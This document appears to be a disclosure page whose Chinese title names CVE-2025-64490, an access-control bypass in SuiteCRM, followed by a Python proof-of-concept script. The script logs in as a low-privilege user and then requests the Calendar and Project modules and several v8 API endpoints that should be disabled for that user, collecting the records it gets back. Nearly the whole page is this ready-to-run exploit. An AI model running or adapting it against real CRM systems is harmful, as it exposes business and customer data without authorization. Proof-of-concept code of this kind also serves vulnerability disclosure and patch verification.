CVE-2025-64490 SuiteCRM ACL绕过漏洞导致未授权数据访问

# CVE-2025-64490 SuiteCRM ACL Bypass PoC # This PoC demonstrates unauthorized access to disabled modules import requests from bs4 import BeautifulSoup import re TARGET_URL = "http://target-suitecrm.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def login(session, target_url, username, password): """Authenticate to SuiteCRM and obtain session cookie""" login_url = f"{target_url}/index.php?action=Login&module=Users" response = session.get(login_url) # Extract CSRF token soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': 'csrf_token'}) or \ soup.find('input', {'name': 'return_module'}) login_data = { 'user_name': username, 'user_password': password, 'action': 'Login', 'module': 'Users' } if csrf_token: login_data['csrf_token'] = csrf_token.get('value', '') return session.post(login_url, data=login_data) def exploit_calendar_access(session, target_url): """Access Resource Calendar despite disabled module permissions""" calendar_url = f"{target_url}/index.php?module=Calendar&action=index" response = session.get(calendar_url) if response.status_code == 200: print("[+] Successfully accessed Resource Calendar (should be disabled)") return response.text return None def exploit_project_access(session, target_url): """Access Project module despite disabled permissions""" project_url = f"{target_url}/index.php?module=Project&action=index" response = session.get(project_url) if response.status_code == 200: print("[+] Successfully accessed Project module (should be disabled)") return response.text return None def exploit_api_access(session, target_url): """Direct API access to restricted modules""" api_endpoints = [ '/api/v8/modules/Project', '/api/v8/modules/ProjectTask', '/api/v8/modules/Tasks' ] results = {} for endpoint in api_endpoints: response = session.get(f"{target_url}{endpoint}") if response.status_code == 200: print(f"[+] API access successful: {endpoint}") results[endpoint] = response.json() return results def main(): session = requests.Session() # Step 1: Login with low-privilege account print("[*] Attempting login with low-privilege account...") login_response = login(session, TARGET_URL, USERNAME, PASSWORD) if 'error' not in login_response.url.lower(): print("[+] Login successful") # Step 2: Exploit ACL bypass via Calendar print("[*] Testing Resource Calendar access...") exploit_calendar_access(session, TARGET_URL) # Step 3: Exploit ACL bypass via Project module print("[*] Testing Project module access...") exploit_project_access(session, TARGET_URL) # Step 4: Direct API exploitation print("[*] Testing direct API access...") exploit_api_access(session, TARGET_URL) else: print("[-] Login failed") if __name__ == "__main__": main()